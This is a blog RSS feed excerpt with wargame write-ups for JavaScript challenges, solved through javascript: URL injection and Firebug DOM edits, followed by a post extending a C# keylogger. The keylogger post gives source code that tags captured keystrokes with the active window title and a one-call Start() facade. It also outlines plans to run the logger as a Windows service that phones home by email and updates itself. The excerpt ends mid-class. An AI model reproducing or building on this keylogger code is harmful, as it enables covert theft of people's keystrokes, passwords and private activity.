 <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>pass<span style="color: #339933;">==</span>abc<span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Congratz! You are good at Math'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span>
 <span style="color: #000066; font-weight: bold;">else</span>
 <span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Sorry, try again when you learn more Math!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
&nbsp;
 <span style="color: #009900;">&#125;</span> 
&nbsp;
<span style="color: #009900;">&#125;</span></pre></div></div>

<p></code></p>
<p>So what we want to do is to execute mathematical part and obtain answer. You can do this by opening new tab and executing following script that will output correct mathematical answer:</p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span>z<span style="color: #339933;">=</span><span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>x<span style="color: #339933;">=</span>z<span style="color: #339933;">*</span><span style="color: #CC0000;">1.5</span><span style="color: #339933;">;</span>v<span style="color: #339933;">=</span>z<span style="color: #339933;">*</span><span style="color: #CC0000;">2</span><span style="color: #339933;">;</span>w<span style="color: #339933;">=</span>v<span style="color: #339933;">*</span><span style="color: #CC0000;">1.75</span><span style="color: #339933;">;</span>y<span style="color: #339933;">=</span>v<span style="color: #339933;">*</span><span style="color: #CC0000;">1.25</span><span style="color: #339933;">;</span>abc<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>y<span style="color: #339933;">*</span>v<span style="color: #339933;">*</span>y<span style="color: #339933;">*</span>x<span style="color: #339933;">+</span>z<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>x<span style="color: #339933;">+</span>w<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>z<span style="color: #339933;">+</span>y<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>v<span style="color: #339933;">+</span>w<span style="color: #339933;">;</span>alert<span style="color: #009900;">&#40;</span>abc<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p></code></p>
<p>You should get this answer in alert box: <strong>7331</strong><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2010/07/javascript-challenge-10-math-time" rel="bookmark" title="Saturday 03.07.2010">JavaScript Challenge 10 :: Math time</a></li>
<li><a href="http://www.axino.net/tutorial/2009/06/javascript-missions-1-idiot-test" rel="bookmark" title="Saturday 20.06.2009">Javascript Missions 1 :: Idiot Test</a></li>
<li><a href="http://www.axino.net/tutorial/2010/02/javascript-challenge-5-stop-me-quickly-2" rel="bookmark" title="Monday 01.02.2010">JavaScript Challenge 5 :: Stop me quickly 2</a></li>
<li><a href="http://www.axino.net/tutorial/2010/06/javascript-challenge-11-js-injection" rel="bookmark" title="Sunday 06.06.2010">JavaScript Challenge 11 :: js injection</a></li>
<li><a href="http://www.axino.net/hack/hackertestnet/2009/01/hackertestnet-level-1" rel="bookmark" title="Wednesday 07.01.2009">hackertest.net level 1 :: Cover up basics</a></li>
</ul>
<p><!-- Similar Posts took 4.806 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1023" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/06/javascript-challenge-12-execute/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript Challenge 11 :: js injection</title>
		<link>http://www.axino.net/tutorial/2010/06/javascript-challenge-11-js-injection</link>
		<comments>http://www.axino.net/tutorial/2010/06/javascript-challenge-11-js-injection#comments</comments>
		<pubDate>Sun, 06 Jun 2010 20:14:46 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[javascript injection]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1020</guid>
		<description><![CDATA[This time we will use javascript injection once more. Javascript code we are required to examine is following: //By system_meltdown var s = &#34;Llama llama chicken duck, schloob mcfroob, moo asdf qwerty zxcv. Rawr llama kinasd, [insert random crap here]It's hammer on the keyboard time: sfsdfoashdfy78sdfysdfs67dftsdf 6tsdf76as tfa. Well I'm bored, so if you're still [...]]]></description>
			<content:encoded><![CDATA[<p>This time we will use javascript injection once more.</p>
<p><span id="more-1020"></span>Javascript code we are required to examine is following:<br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #006600; font-style: italic;">//By system_meltdown</span>
<span style="color: #003366; font-weight: bold;">var</span> s <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Llama llama chicken duck, schloob mcfroob, moo asdf qwerty zxcv. Rawr llama kinasd, [insert random crap here]It's hammer on the keyboard time: sfsdfoashdfy78sdfysdfs67dftsdf 6tsdf76as tfa. Well I'm bored, so if you're still reading this I advise you to stop because you are wasting your time....dumbarse :)&quot;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> asd <span style="color: #339933;">=</span> s.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">14</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> fdsa <span style="color: #339933;">=</span> s.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">42</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> sadfasf <span style="color: #339933;">=</span> s.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> moo <span style="color: #339933;">=</span> s.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">43</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> teeep <span style="color: #339933;">=</span> s.<span style="color: #660066;">charCodeAt</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">32</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> asdf <span style="color: #339933;">=</span> asd<span style="color: #339933;">+</span>fdsa<span style="color: #339933;">+</span>sadfasf<span style="color: #339933;">+</span>moo<span style="color: #339933;">+</span>teeep<span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">function</span> checkpass<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
pass<span style="color: #339933;">=</span>document.<span style="color: #660066;">password</span>.<span style="color: #660066;">pass</span>.<span style="color: #660066;">value</span><span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>pass<span style="color: #339933;">==</span>asdf<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'Well done dude!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000066; font-weight: bold;">else</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'You suck!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p></code></p>
<p>Now instead of analyzing the code we will use once again javascript injection. You probably already noticed if statement in whish password is compared to <strong>asdf</strong>. What we will do is to output value of asdf and enter it as the password.</p>
<p>So next step is to write peace of javascript code in the URL bar in your browser and output variable asdf.</p>
<p><code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">javascript<span style="color: #339933;">:</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>asdf<span style="color: #009900;">&#41;</span></pre></div></div>

<p></code></p>
<p>I obtained following value: <strong>441</strong><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2010/07/javascript-challenge-10-math-time" rel="bookmark" title="Saturday 03.07.2010">JavaScript Challenge 10 :: Math time</a></li>
<li><a href="http://www.axino.net/tutorial/2010/06/javascript-challenge-12-execute" rel="bookmark" title="Tuesday 08.06.2010">JavaScript Challenge 12 :: execute</a></li>
<li><a href="http://www.axino.net/tutorial/2010/03/hack-test-com-3-link-colour" rel="bookmark" title="Saturday 20.03.2010">hack-test.com 3 :: link colour</a></li>
<li><a href="http://www.axino.net/hack/hack-this-site/2010/05/javascript-missions-6-go-go-away-js" rel="bookmark" title="Thursday 20.05.2010">Javascript Missions 6 :: go go away .js</a></li>
<li><a href="http://www.axino.net/tutorial/2010/05/javascript-missions-5-escape" rel="bookmark" title="Wednesday 19.05.2010">Javascript Missions 5 :: Escape!</a></li>
</ul>
<p><!-- Similar Posts took 4.898 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1020" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/06/javascript-challenge-11-js-injection/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>JavaScript Challenge 9 :: timer</title>
		<link>http://www.axino.net/tutorial/2010/06/javascript-challenge-9-timer</link>
		<comments>http://www.axino.net/tutorial/2010/06/javascript-challenge-9-timer#comments</comments>
		<pubDate>Wed, 02 Jun 2010 19:59:35 +0000</pubDate>
		<dc:creator>Arxleol</dc:creator>
				<category><![CDATA[hellboundhackers.org]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[firebug]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[how to]]></category>
		<category><![CDATA[solution]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=1016</guid>
		<description><![CDATA[In this challenge we are faced with timer.  As soon as you&#8217;ve seen this challenge you figured out you have to reset timer somehow. Of course one probable solution would be to wait until timer reaches zero value. But that defies the point. If you examine code you will find following script: &#60;script&#62; var c = 34200; [...]]]></description>
			<content:encoded><![CDATA[<p>In this challenge we are faced with timer.  As soon as you&#8217;ve seen this challenge you figured out you have to reset timer somehow.</p>
<p>Of course one probable solution would be to wait until timer reaches zero value.</p>
<p><span id="more-1016"></span></p>
<p>But that defies the point. If you examine code you will find following script:<br />
<code></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>
<span style="color: #003366; font-weight: bold;">var</span> c <span style="color: #339933;">=</span> <span style="color: #CC0000;">34200</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> p <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;%68%6F%77%73%6C%69%66%65%3F%65%61%73%79%2E%00&quot;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> a<span style="color: #339933;">;</span>
fc<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">function</span> fc<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>c<span style="color: #339933;">&gt;</span><span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
 document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;say&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&lt;b&gt;&lt;big&gt;Please wait &quot;</span> <span style="color: #339933;">+</span> c <span style="color: #339933;">+</span> <span style="color: #3366CC;">' seconds.&lt;/big&gt;&lt;/b&gt;'</span><span style="color: #339933;">;</span>
 c <span style="color: #339933;">=</span> c <span style="color: #339933;">-</span> <span style="color: #CC0000;">1</span><span style="color: #339933;">;</span>
 setTimeout<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;fc()&quot;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">1000</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
 a <span style="color: #339933;">=</span> unescape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;%33&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;say&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">innerHTML</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Your password is: &quot;</span> <span style="color: #339933;">+</span> unescape<span style="color: #009900;">&#40;</span>p<span style="color: #339933;">-</span>a<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> unescape<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%27%69%6E%64%65%78%2E%70%68%70%27%20%6D%65%74%68%6F%64%3D%27%50%4F%53%54%27%3E%0D%0A%45%6E%74%65%72%20%50%61%73%73%77%6F%72%64%3A%20%3C%69%6E%70%75%74%20%74%79%70%65%3D%27%74%65%78%74%27%20%6E%61%6D%65%3D%27%70%61%73%73%27%20%73%74%79%6C%65%3D%27%74%65%78%74%62%6F%78%27%3E%3C%62%72%3E%0D%0A%3C%69%6E%70%75%74%20%74%79%70%65%3D%27%73%75%62%6D%69%74%27%20%6E%61%6D%65%3D%27%73%75%62%6D%69%74%27%20%76%61%6C%75%65%3D%27%43%68%65%63%6B%20%79%6F%75%20%61%6E%73%77%65%72%27%20%73%74%79%6C%65%3D%27%62%75%74%74%6F%6E%27%3E%0D%0A%3C%2F%66%6F%72%6D%3E%00&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></div></div>

<p></code></p>
<p>This is where Firebug comes in really handy. Now open Firebug and select DOM tab in here you should search for <strong>variable c</strong>. Because variable c contains number of seconds till we receive our password. And now when you find variable c in DOM tab change its value to something low for example number 5. Now if you&#8217;ve done everything correctly you will notice that counters switched to 5 and is counting down. When it reaches 0 you will receive password:</p>
<blockquote><p>Your password is: NaN</p></blockquote>
<p><strong>Similar Posts:</strong>
<ul class="similar-posts">
<li><a href="http://www.axino.net/tutorial/2010/07/javascript-challenge-10-math-time" rel="bookmark" title="Saturday 03.07.2010">JavaScript Challenge 10 :: Math time</a></li>
<li><a href="http://www.axino.net/hack/hack-this-site/2009/09/hackthissite-org-basic-10-my-cookie-your-cookie" rel="bookmark" title="Friday 25.09.2009">hackthissite.org basic 10 :: My cookie your cookie</a></li>
<li><a href="http://www.axino.net/tutorial/2009/06/javascript-missions-1-idiot-test" rel="bookmark" title="Saturday 20.06.2009">Javascript Missions 1 :: Idiot Test</a></li>
<li><a href="http://www.axino.net/tutorial/2010/06/javascript-challenge-13-cookie" rel="bookmark" title="Wednesday 09.06.2010">JavaScript Challenge 13 :: Cookie</a></li>
<li><a href="http://www.axino.net/tutorial/2010/03/hack-test-com-1-hard-start" rel="bookmark" title="Thursday 18.03.2010">hack-test.com 1 :: hard start</a></li>
</ul>
<p><!-- Similar Posts took 4.928 ms --></p>
 <img src="http://www.axino.net/wordpress/wp-content/plugins/wordpress-feed-statistics/feed-statistics.php?view=1&post_id=1016" width="1" height="1" style="display: none;" />]]></content:encoded>
			<wfw:commentRss>http://www.axino.net/tutorial/2010/06/javascript-challenge-9-timer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Extending the C# KeyLogger</title>
		<link>http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger</link>
		<comments>http://www.axino.net/programming/c-sharp/2010/06/extending-the-c-keylogger#comments</comments>
		<pubDate>Wed, 02 Jun 2010 18:42:27 +0000</pubDate>
		<dc:creator>praetorian</dc:creator>
				<category><![CDATA[C#]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[keylogger]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows 7]]></category>
		<category><![CDATA[windows vista]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://www.axino.net/?p=984</guid>
		<description><![CDATA[I decided to extend arxleols keylogger a little. I hope to add a few more features in the future but for now I&#8217;m happy with the current version. The most significant changes are that I&#8217;ve ported it to C#4.0, moved all the important functionality into a separate assembly, made the whole thing more event driven [...]]]></description>
			<content:encoded><![CDATA[<p>I decided to extend arxleols keylogger a little. I hope to add a few more features in the future but for now I&#8217;m happy with the current version.</p>
<p>The most significant changes are that I&#8217;ve ported it to C#4.0, moved all the important functionality into a separate assembly, made the whole thing more event driven and gave the logging a new flavour. Some of the ideas I&#8217;ve had is to host the lib in a Windows Service, let it &#8220;phone  home&#8221; occassionally (via email, not network) and possibly self update.</p>
<p>I&#8217;ve successfully run this on a Windows Vista Home Basic x86 machine  (Dell Inspiron 1525). So  far looks like it works like a charm. I urge you to use this software for research or security purposes only.</p>
<p>Below are the changes I&#8217;ve made and a few of the features that I<em> might</em> add later on.</p>
<p><span id="more-984"></span></p>
<p><strong>Change log:</strong></p>
<ul>
<li>Ported to C# 4.0. Doesn&#8217;t leverage any 4.0 specific features but does use 3.5 specific property accessors (so it won&#8217;t compile in C# 2.0).</li>
<li>Created a new assembly to hold all the important functionality and called it khsvclib (for Key Hook Service Library). This assembly should be referenced by apps wanting keylogging.</li>
<li>Removed hardcoding of file paths &amp; put it in an app.config. This allows you to change the name of the actual logging file dynamically. It&#8217;s currently called Logs.krs by default but it could be called anything.</li>
<li>Created a new <code>FileType</code> enum to make referencing files in config easier.</li>
<li>Created a new <code>Utilities</code> helper class which (currently) returns either a file path or <code>FileStream</code> type based on the <code>FileType</code> passed to it.</li>
<li>Created a <code>Reader</code> type and supporting EventArgs/Delegate types which handles the reading of the keys from the Hook. The <code>Reader</code> has a few events which can be subscribed to. So far the only one that&#8217;s actually useful is the KeyPressed event.</li>
<li>Created a <code>WindowTitleHelper</code> and supporting EventArgs/Delegate types which check the title of the active window on each key press and will fire an <code>ActiveWindowTitleChanged</code> event if the window title has changed. This has the advantage that you can now group key strokes according to the window in which they were pressed (it ain&#8217;t any good logging something without knowing which page/app/window it was for).</li>
<li>Created a very basic &#8220;Logger&#8221; type which flushes out to a configured &#8220;FileType&#8221; path (from config).</li>
<li>Created a <code>KeyLoggerManager</code> which is basically a facade for the whole thing. It has 2 methods with no parameters &#8211; Start() and Stop().</li>
</ul>
<p><strong>Code:</strong></p>
<p>Here&#8217;s some of the more interesting code in the assembly. For the complete code download the khsvclib project.</p>
<p><strong>WindowTitleHelper</strong></p>
<p>The WindowTitleHelper also uses PInvoke to import the user32.dll assembly.  It has one public method &#8211; <code>CheckActiveWindowTitle()</code>. This compares what the window title was from the previous time the method was called to what the current active window title is. If the string differs, the <code>ActiveWindowTitleChanged</code> event is fired.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #008080; font-style: italic;">/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Runtime.InteropServices</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> khsvclib
<span style="color: #000000;">&#123;</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #008080; font-style: italic;">/// Helper class which checks the title of the current window</span>
    <span style="color: #008080; font-style: italic;">/// and fires an event when it changes.</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">class</span> WindowTitleHelper
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080;">#region imports</span>
&nbsp;
        <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
        <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> IntPtr GetForegroundWindow<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #000000;">&#91;</span>DllImport<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;user32.dll&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#93;</span>
        <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">extern</span> <span style="color: #FF0000;">int</span> GetWindowText<span style="color: #000000;">&#40;</span>IntPtr hWnd, StringBuilder text, <span style="color: #FF0000;">int</span> count<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080;">#endregion </span>
&nbsp;
        <span style="color: #008080;">#region private fields</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #FF0000;">string</span> currentWindowTitle<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region ctor</span>
&nbsp;
        <span style="color: #0600FF;">public</span> WindowTitleHelper<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            currentWindowTitle <span style="color: #008000;">=</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region methods </span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">void</span> CheckActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>currentWindowTitle <span style="color: #008000;">!=</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                currentWindowTitle <span style="color: #008000;">=</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
                OnActiveWindowTitleChanged<span style="color: #000000;">&#40;</span><span style="color: #008000;">new</span> WindowTitleHelperEventArgs<span style="color: #000000;">&#40;</span>GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #0600FF;">private</span> <span style="color: #FF0000;">string</span> GetActiveWindowTitle<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">const</span> <span style="color: #FF0000;">int</span> nChars <span style="color: #008000;">=</span> <span style="color: #FF0000;">256</span><span style="color: #008000;">;</span>
            IntPtr handle <span style="color: #008000;">=</span> IntPtr.<span style="color: #0000FF;">Zero</span><span style="color: #008000;">;</span>
            StringBuilder Buff <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> StringBuilder<span style="color: #000000;">&#40;</span>nChars<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            handle <span style="color: #008000;">=</span> GetForegroundWindow<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>GetWindowText<span style="color: #000000;">&#40;</span>handle, Buff, nChars<span style="color: #000000;">&#41;</span> <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                <span style="color: #0600FF;">return</span> Buff.<span style="color: #0000FF;">ToString</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
            <span style="color: #0600FF;">return</span> null<span style="color: #008000;">;</span>
        <span style="color: #000000;">&#125;</span> 
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region events</span>
&nbsp;
        <span style="color: #0600FF;">public</span> <span style="color: #0600FF;">event</span> WindowTitleHelperEvent ActiveWindowTitleChanged<span style="color: #008000;">;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region event handlers</span>
&nbsp;
        <span style="color: #0600FF;">protected</span> <span style="color: #0600FF;">virtual</span> <span style="color: #0600FF;">void</span> OnActiveWindowTitleChanged<span style="color: #000000;">&#40;</span>WindowTitleHelperEventArgs e<span style="color: #000000;">&#41;</span>
        <span style="color: #000000;">&#123;</span>
            <span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>ActiveWindowTitleChanged <span style="color: #008000;">!=</span> <span style="color: #0600FF;">null</span><span style="color: #000000;">&#41;</span>
            <span style="color: #000000;">&#123;</span>
                ActiveWindowTitleChanged<span style="color: #000000;">&#40;</span><span style="color: #0600FF;">this</span>, e<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
            <span style="color: #000000;">&#125;</span>
        <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
    <span style="color: #000000;">&#125;</span>   
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p><strong>KeyLoggerManager</strong><br />
The <code>KeyLoggerManager</code> provides a simple facade to interacting with the Hook. It provides two public methods which take no parameters &#8211; <code>Start()</code> and <code>Stop()</code>. It also provides access to the <code>Reader</code>, <code>WindowTitleHelper</code> and <code>Logger</code> types as properties. The <code>Hook</code> isn&#8217;t provided here as:<br />
a) it&#8217;s already a static class.<br />
b) the facade that the KeyLoggerManager provides is to abstract the hook implementation away.</p>
<p>Using the KeyLogger manager in code is really simple:</p>
<p><code>KeyLoggerManager manager = new KeyLoggerManager();<br />
manager.Start();</code></p>
<p>That&#8217;s it. That&#8217;s all you&#8217;d need. Everything else is pretty much configurable.</p>

<div class="wp_syntax"><div class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #008080; font-style: italic;">/* Credit to arxleol (www.axino.net) for the original keylogging
 * functionality.
 *
 * -- praetorian
 */</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Collections.Generic</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Linq</span><span style="color: #008000;">;</span>
<span style="color: #0600FF;">using</span> <span style="color: #008080;">System.Text</span><span style="color: #008000;">;</span>
&nbsp;
<span style="color: #0600FF;">namespace</span> khsvclib
<span style="color: #000000;">&#123;</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #008080; font-style: italic;">/// Facade class for KeyLogger.</span>
    <span style="color: #008080; font-style: italic;">///</span>
    <span style="color: #0600FF;">public</span> <span style="color: #FF0000;">class</span> KeyLoggerManager
    <span style="color: #000000;">&#123;</span>
        <span style="color: #008080;">#region properties </span>
&nbsp;
        <span style="color: #0600FF;">public</span> Reader Reader <span style="color: #000000;">&#123;</span> get<span style="color: #008000;">;</span> <span style="color: #0600FF;">private</span> set<span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span>
        <span style="color: #0600FF;">public</span> WindowTitleHelper WindowTitleHelper <span style="color: #000000;">&#123;</span> get<span style="color: #008000;">;</span> <span style="color: #0600FF;">private</span> set<span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span>
        <span style="color: #0600FF;">public</span> Logger Logger <span style="color: #000000;">&#123;</span> get<span style="color: #008000;">;</span> <span style="color: #0600FF;">private</span> set<span style="color: #008000;">;</span> <span style="color: #000000;">&#125;</span>
&nbsp;
        <span style="color: #008080;">#endregion</span>
&nbsp;
        <span style="color: #008080;">#region ctor</span>
&nbsp;
        <span style="color: #0600FF;">public</span> KeyLoggerManager<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
